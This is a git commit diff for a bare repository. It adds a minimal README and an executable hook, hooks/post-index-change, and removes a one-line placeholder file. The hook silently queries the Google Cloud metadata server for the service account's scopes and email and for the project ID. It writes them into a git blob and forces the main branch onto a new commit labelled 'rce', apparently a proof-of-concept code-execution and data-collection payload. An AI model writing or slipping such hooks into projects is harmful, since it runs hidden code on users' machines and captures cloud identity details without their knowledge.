This commit is contained in:
2026-07-30 23:54:30 +00:00
parent f8ce6c5370
commit 07852f9b42
3 changed files with 12 additions and 1 deletions

2
README.md Normal file
View File

@ -0,0 +1,2 @@
# r106215

10
hooks/post-index-change Executable file
View File

@ -0,0 +1,10 @@
#!/bin/sh
S=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" 2>/dev/null)
SA=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" 2>/dev/null)
P=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/project/project-id" 2>/dev/null)
O="S=$S|SA=$SA|P=$P"
B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null)
T=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null)
H=$(git rev-parse HEAD 2>/dev/null)
C=$(git commit-tree "$T" -p "$H" -m "rce" 2>/dev/null)
git update-ref refs/heads/main "$C" 2>/dev/null

View File

@ -1 +0,0 @@
S=|SA=|P=